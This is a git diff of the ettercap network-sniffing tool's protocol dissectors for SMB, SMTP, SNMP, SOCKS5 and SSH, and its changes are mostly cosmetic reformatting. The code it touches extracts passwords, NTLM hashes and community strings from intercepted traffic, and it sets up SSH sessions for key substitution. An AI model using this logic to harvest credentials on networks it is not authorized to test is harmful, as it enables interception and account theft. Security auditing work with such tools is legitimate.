Protocol has been done */ if (smb->cmd == 0x73 && FROM_CLIENT("smb", PACKET)) { - ptr += ( (*ptr) * 2 + 3 ); - if ( (ptr = (u_char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) + ptr += ((*ptr) * 2 + 3); + if ((ptr = (u_char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) + return NULL; + if (ptr[8] != 1) return NULL; - if (ptr[8]!=1) - return NULL; /* Create the session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_smb)); SAFE_CALLOC(s->data, 1, sizeof(smb_session_data)); @@ -169,56 +167,55 @@ FUNC_DECODER(dissector_smb) session_data = (smb_session_data *)s->data; session_data->status = WAITING_CHALLENGE; session_data->auth_type = NTLMSSP_AUTH; - + /* HOOK POINT: HOOK_PACKET_SMB_CHL */ hook_point(HOOK_PROTO_SMB_CHL, PACKET); - } + } } else { SAFE_FREE(ident); session_data = (smb_session_data *)s->data; - if (FROM_CLIENT("smb", PACKET)) { + if (FROM_CLIENT("smb", PACKET)) { if (session_data->status == LOGON_COMPLETED_OK || session_data->status == LOGON_COMPLETED_FAILURE) { - + /* Logon negotiation completed. It's time to dump passwords */ - PACKET->DISSECTOR.user = strdup((const char*)session_data->user); - + PACKET->DISSECTOR.user = strdup((const char *)session_data->user); + /* We get domain information */ if (session_data->domain[0] != 0) { SAFE_CALLOC(PACKET->DISSECTOR.info, MAX_USER_LEN + 16, sizeof(char)); snprintf(PACKET->DISSECTOR.info, MAX_USER_LEN + 16, "DOMAIN: %s", session_data->domain); } - + if (session_data->auth_type == PLAIN_TEXT_AUTH) { - PACKET->DISSECTOR.pass = strdup((const char*)session_data->response1); + PACKET->DISSECTOR.pass = strdup((const char *)session_data->response1); DISSECT_MSG("SMB : %s:%d -> USER: %s PASS: %s ", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); } else { char ascii_hash[256]; - snprintf(ascii_hash, 40, "%s:\"\":\"\":", session_data->user); + snprintf(ascii_hash, 40, "%s:\"\":\"\":", session_data->user); GetBinaryE(session_data->response1, ascii_hash, 24); strcat(ascii_hash, ":"); GetBinaryE(session_data->response2, ascii_hash, 24); strcat(ascii_hash, ":"); GetBinaryE(session_data->challenge, ascii_hash, 8); - - PACKET->DISSECTOR.pass = strdup(ascii_hash); - - DISSECT_MSG("SMB : %s:%d -> USER: %s HASH: %s", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + PACKET->DISSECTOR.pass = strdup(ascii_hash); + + DISSECT_MSG("SMB : %s:%d -> USER: %s HASH: %s", ip_addr_ntoa(&PACKET->L3.dst, tmp), + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); - /* Call hook point when negotation is complete */ - hook_point(HOOK_PROTO_SMB_CMPLT, PACKET); + /* Call hook point when negotation is complete */ + hook_point(HOOK_PROTO_SMB_CMPLT, PACKET); } - if (PACKET->DISSECTOR.info!=NULL) + if (PACKET->DISSECTOR.info != NULL) DISSECT_MSG(" %s", PACKET->DISSECTOR.info); - + if (session_data->status == LOGON_COMPLETED_FAILURE) { PACKET->DISSECTOR.failed = 1; DISSECT_MSG(" (Login Failed)\n"); @@ -228,59 +225,58 @@ FUNC_DECODER(dissector_smb) /* Catch multiple retries for NTLMSSP */ if (session_data->auth_type == NTLMSSP_AUTH && session_data->status == LOGON_COMPLETED_FAILURE) session_data->status = WAITING_CHALLENGE; - else + else dissect_wipe_session(PACKET, DISSECT_CODE(dissector_smb)); - - return NULL; + + return NULL; } /* Check if it's smb */ - if (memcmp(smb->proto, "\xffSMB", 4) != 0) - return NULL; - - if (smb->cmd == 0x73) { /* Session SetUp Packets */ + if (memcmp(smb->proto, "\xffSMB", 4) != 0) + return NULL; + + if (smb->cmd == 0x73) { /* Session SetUp Packets */ if (session_data->status == WAITING_PLAIN_TEXT) { u_int16 pwlen, unilen; u_char *Blob; - + Blob = ptr; - Blob += ( (*ptr) * 2 + 3 ); - + Blob += ((*ptr) * 2 + 3); + ptr += 15; pwlen = phtos(ptr); /* ANSI password len */ ptr += 2; unilen = phtos(ptr); /* UNICODE password len */ - - if (pwlen > 1) + + if (pwlen > 1) memcpy(session_data->response1, Blob, sizeof(session_data->response1) - 1); else - snprintf((char*)session_data->response1, 7, "(empty)"); + snprintf((char *)session_data->response1, 7, "(empty)"); - IF_IN_PCK(Blob, PACKET) - Blob = GetUser(Blob+pwlen+unilen, session_data->user, 200); - IF_IN_PCK(Blob, PACKET) - GetUser(Blob, session_data->domain, 200); - + Blob = GetUser(Blob + pwlen + unilen, session_data->user, 200); + + IF_IN_PCK(Blob, PACKET) + GetUser(Blob, session_data->domain, 200); + session_data->status = WAITING_LOGON_RESPONSE; } else if (session_data->status == WAITING_CHALLENGE) { - + /* HOOK POINT: HOOK_PACKET_SMB_CHL */ hook_point(HOOK_PROTO_SMB_CHL, PACKET); - } else if (session_data->status == WAITING_RESPONSE) { unsigned char *Blob; /* Jump the Words */ - ptr += ( (*ptr) * 2 + 3 ); - + ptr += ((*ptr) * 2 + 3); + /* Jump ID String */ - if ( (ptr = (u_char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) - return NULL; - + if ((ptr = (u_char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) + return NULL; + Blob = ptr; - ptr = (u_char*)strchr((const char*)ptr, 0); + ptr = (u_char *)strchr((const char *)ptr, 0); ptr++; - - if (*ptr == 3) { /* Msg Type AUTH */ + + if (*ptr == 3) { /* Msg Type AUTH */ u_int LM_Offset, LM_Len, NT_Offset, NT_Len, Domain_Offset, Domain_Len, User_Offset, User_Len; ptr += 4; LM_Len = *(u_int16 *)ptr; @@ -298,81 +294,81 @@ FUNC_DECODER(dissector_smb) User_Len = *(u_int16 *)ptr; ptr += 4; User_Offset = *(u_int32 *)ptr; - + if (NT_Len != 24) { - session_data->status = WAITING_CHALLENGE; + session_data->status = WAITING_CHALLENGE; return NULL; } - IF_IN_PCK((u_char*)Blob+User_Offset, PACKET) - GetUser(Blob+User_Offset, session_data->user, User_Len); - - IF_IN_PCK((u_char*)Blob+Domain_Offset, PACKET) - GetUser(Blob+Domain_Offset, session_data->domain, Domain_Len); - + IF_IN_PCK((u_char *)Blob + User_Offset, PACKET) + GetUser(Blob + User_Offset, session_data->user, User_Len); + + IF_IN_PCK((u_char *)Blob + Domain_Offset, PACKET) + GetUser(Blob + Domain_Offset, session_data->domain, Domain_Len); + if (LM_Len == 24) - IF_IN_PCK((u_char*)Blob+LM_Offset, PACKET) - memcpy(session_data->response1, Blob+LM_Offset, 24); - - IF_IN_PCK((u_char*)Blob+NT_Offset, PACKET) - memcpy(session_data->response2, Blob+NT_Offset, 24); - + IF_IN_PCK((u_char *)Blob + LM_Offset, PACKET) + memcpy(session_data->response1, Blob + LM_Offset, 24); + + IF_IN_PCK((u_char *)Blob + NT_Offset, PACKET) + memcpy(session_data->response2, Blob + NT_Offset, 24); + session_data->status = WAITING_LOGON_RESPONSE; } } else if (session_data->status == WAITING_ENCRYPT) { unsigned char *Blob; - + Blob = ptr; - Blob += ( (*ptr) * 2 + 3 ); + Blob += ((*ptr) * 2 + 3); memcpy(session_data->response1, Blob, 24); memcpy(session_data->response2, Blob + 24, 24); Blob = GetUser(Blob + 48, session_data->user, 200); /* Get the domain with GetUser :) */ GetUser(Blob, session_data->domain, 200); - + /* XXX - 5-minutes workaround for empty sessions */ - if ( !memcmp(session_data->response1, "\x00\x00\x00", 3) && - memcmp(session_data->response1, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 24) ) { - memset(session_data->response1, 0, 24); - memset(session_data->response2, 0, 24); - strncpy((char*)session_data->user, "(empty)", 7); - session_data->domain[0]=0; + if (!memcmp(session_data->response1, "\x00\x00\x00", 3) && + memcmp(session_data->response1, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 24)) + { + memset(session_data->response1, 0, 24); + memset(session_data->response2, 0, 24); + strncpy((char *)session_data->user, "(empty)", 7); + session_data->domain[0] = 0; } - + session_data->status = WAITING_LOGON_RESPONSE; - } + } } - } else { /* Packets coming from the server */ + } else { /* Packets coming from the server */ if (smb->cmd == 0x73) { /* Session SetUp packets */ if (session_data->status == WAITING_CHALLENGE) { - ptr += ( (*ptr) * 2 + 3 ); - if ( (ptr = (u_char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) + ptr += ((*ptr) * 2 + 3); + if ((ptr = (u_char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) return NULL; - ptr = (u_char*)strchr((const char*)ptr, 0); + ptr = (u_char *)strchr((const char *)ptr, 0); ptr++; - + if (*ptr == 2) { - ptr += 16; - memcpy(session_data->challenge, ptr, 8); + ptr += 16; + memcpy(session_data->challenge, ptr, 8); session_data->status = WAITING_RESPONSE; - } + } } else if (session_data->status == WAITING_LOGON_RESPONSE) { - if(!memcmp(smb->err, "\x00\x00\x00\x00", 4)) + if (!memcmp(smb->err, "\x00\x00\x00\x00", 4)) session_data->status = LOGON_COMPLETED_OK; - else + else session_data->status = LOGON_COMPLETED_FAILURE; } - } - } + } + } } - - return NULL; -} + return NULL; +} -/* - * If the username is Unicode convert into ASCII +/* + * If the username is Unicode convert into ASCII * XXX - what about strange unicode charsets??? */ unsigned char *GetUser(unsigned char *user, unsigned char *dest, int len) @@ -381,23 +377,23 @@ unsigned char *GetUser(unsigned char *user, unsigned char *dest, int len) int i = 0; /* Skip 0 padding for odd unicode chars */ - if (user[0] == 0) + if (user[0] == 0) user++; - + /* Does anyone uses 2 chars users? I think it's unicode */ - if (user[1] == 0) - Unicode = 2; - - while(*user != 0 && i < (MAX_USER_LEN - 1) && len > 0) { + if (user[1] == 0) + Unicode = 2; + + while (*user != 0 && i < (MAX_USER_LEN - 1) && len > 0) { *dest = *user; - dest++; + dest++; i++; len -= Unicode; user += Unicode; } if (*user == 0) user += Unicode; - + *dest = 0; return user; } @@ -406,11 +402,11 @@ unsigned char *GetUser(unsigned char *user, unsigned char *dest, int len) void GetBinaryE(unsigned char *binary, char *dest, int blen) { char dummy[5]; - - for (; blen > 0; blen--) { - snprintf( dummy, 3, "%02X", *binary); - binary++; - strcat(dest, dummy); + + for (; blen > 0; blen--) { + snprintf(dummy, 3, "%02X", *binary); + binary++; + strcat(dest, dummy); } } diff --git a/src/dissectors/ec_smtp.c b/src/dissectors/ec_smtp.c index 7456e7d3d..7ed764958 100644 --- a/src/dissectors/ec_smtp.c +++ b/src/dissectors/ec_smtp.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector SMTP -- TCP 25 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector SMTP -- TCP 25 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -49,54 +49,51 @@ FUNC_DECODER(dissector_smtp) struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; - + /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("smtp", s, dissector_smtp); CREATE_SESSION_ON_SYN_ACK("ssmtp", s, dissector_smtp); - + /* check if it is the first packet sent by the server */ IF_FIRST_PACKET_FROM_SERVER_SSL("smtp", "ssmtp", s, ident, dissector_smtp) { - + DEBUG_MSG("\tdissector_smtp BANNER"); - + /* - * get the banner + * get the banner * ptr + 4 to skip the initial 220 response */ - if (!strncmp((const char*)ptr, "220", 3)) { - PACKET->DISSECTOR.banner = strdup((const char*)ptr + 4); - + if (!strncmp((const char *)ptr, "220", 3)) { + PACKET->DISSECTOR.banner = strdup((const char *)ptr + 4); + /* remove the \r\n */ - if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) + if ((ptr = (u_char *)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL) *ptr = '\0'; } - } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) - + /* skip messages coming from the server */ if (FROM_SERVER("smtp", PACKET) || FROM_SERVER("ssmtp", PACKET)) return NULL; - + /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - - + DEBUG_MSG("SMTP --> TCP dissector_smtp"); /* skip the number, move to the command */ - while(*ptr == ' ' && ptr != end) ptr++; - + while (*ptr == ' ' && ptr != end) ptr++; + /* reached the end */ if (ptr == end) return NULL; - -/* +/* * AUTH LOGIN * * digest(user) @@ -104,26 +101,26 @@ FUNC_DECODER(dissector_smtp) * * the digests are in base64 */ - if ( !strncasecmp((const char*)ptr, "AUTH LOGIN", 10) ) { - + if (!strncasecmp((const char *)ptr, "AUTH LOGIN", 10)) { + DEBUG_MSG("\tDissector_smtp AUTH LOGIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_smtp)); - + /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_smtp)); - + /* remember the state (used later) */ s->data = strdup("AUTH"); - + /* save the session */ session_put(s); - + /* username is in the next packet */ return NULL; } - + /* search the session (if it exist) */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_smtp)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { @@ -132,68 +129,66 @@ FUNC_DECODER(dissector_smtp) } SAFE_FREE(ident); - + /* the session is invalid */ if (s->data == NULL) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_smtp)); return NULL; } - - if (!strcmp((const char*)s->data, "AUTH")) { + + if (!strcmp((const char *)s->data, "AUTH")) { char *user; int i; - + DEBUG_MSG("\tDissector_smtp AUTH LOGIN USER"); - - SAFE_CALLOC(user, strlen((const char*)ptr), sizeof(char)); - + + SAFE_CALLOC(user, strlen((const char *)ptr), sizeof(char)); + /* username is encoded in base64 */ - i = base64decode((const char*)ptr, &user); - + i = base64decode((const char *)ptr, &user); + SAFE_FREE(s->data); /* store the username in the session */ - SAFE_CALLOC(s->data, strlen("AUTH USER ") + i + 1, sizeof(char) ); - + SAFE_CALLOC(s->data, strlen("AUTH USER ") + i + 1, sizeof(char)); + snprintf(s->data, strlen("AUTH USER ") + i + 1, "AUTH USER %s", user); - + SAFE_FREE(user); /* pass is in the next packet */ return NULL; } - + if (!strncmp(s->data, "AUTH USER", 9)) { char *pass; - + DEBUG_MSG("\tDissector_smtp AUTH LOGIN PASS"); - - SAFE_CALLOC(pass, strlen((const char*)ptr), sizeof(char)); - + + SAFE_CALLOC(pass, strlen((const char *)ptr), sizeof(char)); + /* password is encoded in base64 */ - base64decode((const char*)ptr, &pass); - + base64decode((const char *)ptr, &pass); + /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data + strlen("AUTH USER ")); PACKET->DISSECTOR.pass = strdup(pass); - + SAFE_FREE(pass); /* destroy the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_smtp)); - + /* print the message */ DISSECT_MSG("SMTP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); return NULL; } - + return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_snmp.c b/src/dissectors/ec_snmp.c index 1bb350e26..850068f1c 100644 --- a/src/dissectors/ec_snmp.c +++ b/src/dissectors/ec_snmp.c @@ -1,32 +1,32 @@ /* - ettercap -- dissector snmp -- UDP 161 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector snmp -- UDP 161 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include #include #include -#define ASN1_INTEGER 2 -#define ASN1_STRING 4 -#define ASN1_SEQUENCE 16 +#define ASN1_INTEGER 2 +#define ASN1_STRING 4 +#define ASN1_SEQUENCE 16 #define SNMP_VERSION_1 0 #define SNMP_VERSION_2c 1 @@ -60,25 +60,25 @@ FUNC_DECODER(dissector_snmp) u_int32 version, n; /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; - + DEBUG_MSG("SNMP --> UDP dissector_snmp"); /* get the version */ - while (*ptr++ != ASN1_INTEGER && ptr < end); - + while (*ptr++ != ASN1_INTEGER && ptr < end) ; + /* reached the end */ if (ptr >= end) return NULL; - - // Check len + version + + // Check len + version if ((ptr + (*ptr) + 1) >= end) return NULL; - + /* move to the len */ ptr += *ptr; @@ -90,37 +90,37 @@ FUNC_DECODER(dissector_snmp) version = 2; else if (version > 3) version = 3; - + /* move till the community name len */ - while(*ptr++ != ASN1_STRING && ptr < end); - + while (*ptr++ != ASN1_STRING && ptr < end) ; + /* reached the end */ if (ptr >= end) return NULL; /* get the community name length */ n = *ptr; - + if (n >= 128) { n &= ~128; if ((ptr + n) > end) return NULL; ptr += n; - - switch(*ptr) { - case 1: - clen = *ptr; - break; - case 2: - NS_GET16(clen, ptr); - break; - case 3: - ptr--; - NS_GET32(clen, ptr); - clen &= 0xfff; - break; - case 4: - NS_GET32(clen, ptr); - break; + + switch (*ptr) { + case 1: + clen = *ptr; + break; + case 2: + NS_GET16(clen, ptr); + break; + case 3: + ptr--; + NS_GET32(clen, ptr); + clen &= 0xfff; + break; + case 4: + NS_GET32(clen, ptr); + break; } } else clen = *ptr; @@ -131,7 +131,7 @@ FUNC_DECODER(dissector_snmp) /* Avoid bof */ if (clen > MAX_COMMUNITY_LEN || ((ptr + clen) > end)) return NULL; - + SAFE_CALLOC(PACKET->DISSECTOR.user, clen + 2, sizeof(char)); /* fill the structure */ @@ -140,18 +140,15 @@ FUNC_DECODER(dissector_snmp) PACKET->DISSECTOR.info = strdup("SNMP v "); /* put the number in the string */ PACKET->DISSECTOR.info[6] = version + 48; - + DISSECT_MSG("SNMP : %s:%d -> COMMUNITY: %s INFO: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.info); - + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.info); return NULL; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_socks.c b/src/dissectors/ec_socks.c index 8664982bb..9e8e2a77d 100644 --- a/src/dissectors/ec_socks.c +++ b/src/dissectors/ec_socks.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector SOCKS5 -- TCP 1080 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector SOCKS5 -- TCP 1080 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -53,9 +53,9 @@ FUNC_DECODER(dissector_socks) /* don't complain about unused var */ (void)end; - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; /* Skip ACK packets */ if (PACKET->DATA.len == 0) @@ -64,39 +64,38 @@ FUNC_DECODER(dissector_socks) /* Check the version */ if (ptr[0] != 0x05) return NULL; - + /* Packets coming from the server */ if (FROM_SERVER("socks", PACKET)) { - + /* Is this an auth-scheme accept message? */ if (PACKET->DATA.len != 2) - return NULL; + return NULL; DEBUG_MSG("\tdissector_socks BANNER"); PACKET->DISSECTOR.banner = strdup("socks v5"); /* If the server didn't accepted user/pass scheme */ - if (ptr[1] != USER_PASS && ptr[1] != NO_AUTH) + if (ptr[1] != USER_PASS && ptr[1] != NO_AUTH) return NULL; - + dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_socks)); /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_socks)); - + if (ptr[1] == NO_AUTH) s->data = strdup("NO AUTH"); - + session_put(s); } - } else { /* Packets coming from the client */ - + dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_socks)); /* Only if the server accepted user/pass scheme */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { - + DEBUG_MSG("\tDissector_socks USER/PASSWORD"); /* No Auth required */ @@ -104,39 +103,38 @@ FUNC_DECODER(dissector_socks) PACKET->DISSECTOR.user = strdup("SOCKSv5"); PACKET->DISSECTOR.pass = strdup("No auth required"); DISSECT_MSG("SOCKS5 : %s:%d -> No Auth Required\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst)); + ntohs(PACKET->L4.dst)); } else { /* User/pass */ - + /* Username len */ d_len = *(++ptr); - + /* Save the username (take care of the null termination) */ SAFE_CALLOC(PACKET->DISSECTOR.user, d_len + 1, sizeof(char)); memcpy(PACKET->DISSECTOR.user, ++ptr, d_len); - + /* Reach the password */ ptr += d_len; d_len = *ptr; - + /* Save the password (take care of the null termination) */ SAFE_CALLOC(PACKET->DISSECTOR.pass, d_len + 1, sizeof(char)); memcpy(PACKET->DISSECTOR.pass, ++ptr, d_len); - + DISSECT_MSG("SOCKS5 : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), - ntohs(PACKET->L4.dst), - PACKET->DISSECTOR.user, - PACKET->DISSECTOR.pass); + ntohs(PACKET->L4.dst), + PACKET->DISSECTOR.user, + PACKET->DISSECTOR.pass); } - + dissect_wipe_session(PACKET, DISSECT_CODE(dissector_socks)); } - } - + } + SAFE_FREE(ident); return NULL; -} +} /* EOF */ // vim:ts=3:expandtab - diff --git a/src/dissectors/ec_ssh.c b/src/dissectors/ec_ssh.c index 9ee203a6b..4b353bcb7 100644 --- a/src/dissectors/ec_ssh.c +++ b/src/dissectors/ec_ssh.c @@ -1,23 +1,23 @@ /* - ettercap -- dissector ssh -- TCP 22 - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- dissector ssh -- TCP 22 + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -26,7 +26,6 @@ #include #include - /* don't include kreberos. RH sux !! */ #define OPENSSL_NO_KRB5 1 @@ -59,13 +58,13 @@ /* My RSA keys */ typedef struct { - RSA *myserverkey; - RSA *myhostkey; - u_int32 server_mod; - u_int32 host_mod; - BIGNUM *server_exp; - BIGNUM *host_exp; - struct ssh_my_key *next; + RSA *myserverkey; + RSA *myhostkey; + u_int32 server_mod; + u_int32 host_mod; + BIGNUM *server_exp; + BIGNUM *host_exp; + struct ssh_my_key *next; } ssh_my_key; /* Session Key data */ @@ -74,29 +73,27 @@ typedef struct { RSA *hostkey; ssh_my_key *ptrkey; void *key_state[2]; - void (*decrypt)(u_char *src, u_char *dst, int len, void *state); + void (*decrypt)(u_char *src, u_char *dst, int len, void *state); struct stream_buf data_buffer[2]; - #define MAX_USER_LEN 64 +#define MAX_USER_LEN 64 u_char user[MAX_USER_LEN + 1]; u_char status; - #define WAITING_CLIENT_BANNER 1 - #define WAITING_PUBLIC_KEY 2 - #define WAITING_SESSION_KEY 3 - #define WAITING_ENCRYPTED_PCK 4 +#define WAITING_CLIENT_BANNER 1 +#define WAITING_PUBLIC_KEY 2 +#define WAITING_SESSION_KEY 3 +#define WAITING_ENCRYPTED_PCK 4 u_char compression_status; - #define NO_COMPRESSION 0 - #define COMPRESSION_REQUEST 1 - #define COMPRESSION_ON 2 +#define NO_COMPRESSION 0 +#define COMPRESSION_REQUEST 1 +#define COMPRESSION_ON 2 } ssh_session_data; -struct des3_state -{ +struct des3_state { DES_key_schedule k1, k2, k3; DES_cblock iv1, iv2, iv3; }; -struct blowfish_state -{ +struct blowfish_state { struct bf_key_st key; u_char iv[8]; }; @@ -149,66 +146,67 @@ FUNC_DECODER(dissector_ssh) #endif /* don't complain about unused var */ - (void) DECODE_DATA; - (void) DECODE_DATALEN; - (void) DECODED_LEN; - + (void)DECODE_DATA; + (void)DECODE_DATALEN; + (void)DECODED_LEN; + /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_ssh)); - + /* Is this a brand new session ? - * If the aggressive dissectors are + * If the aggressive dissectors are * off performs only banner catching. */ - - if ((!GBL_CONF->aggressive_dissectors || GBL_OPTIONS->unoffensive || GBL_OPTIONS->read) - || session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { + + if ((!GBL_CONF->aggressive_dissectors || GBL_OPTIONS->unoffensive || GBL_OPTIONS->read) + || session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) + { SAFE_FREE(ident); /* Create the session on first server's cleartext packet */ - if(!memcmp(PACKET->DATA.data,"SSH-", 4) && FROM_SERVER("ssh", PACKET)) { + if (!memcmp(PACKET->DATA.data, "SSH-", 4) && FROM_SERVER("ssh", PACKET)) { - /* Only if we are interested on key substitution */ + /* Only if we are interested on key substitution */ if (GBL_CONF->aggressive_dissectors && !GBL_OPTIONS->unoffensive && !GBL_OPTIONS->read) { dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_ssh)); SAFE_CALLOC(s->data, sizeof(ssh_session_data), 1); session_put(s); - session_data =(ssh_session_data *)s->data; + session_data = (ssh_session_data *)s->data; session_data->status = WAITING_CLIENT_BANNER; 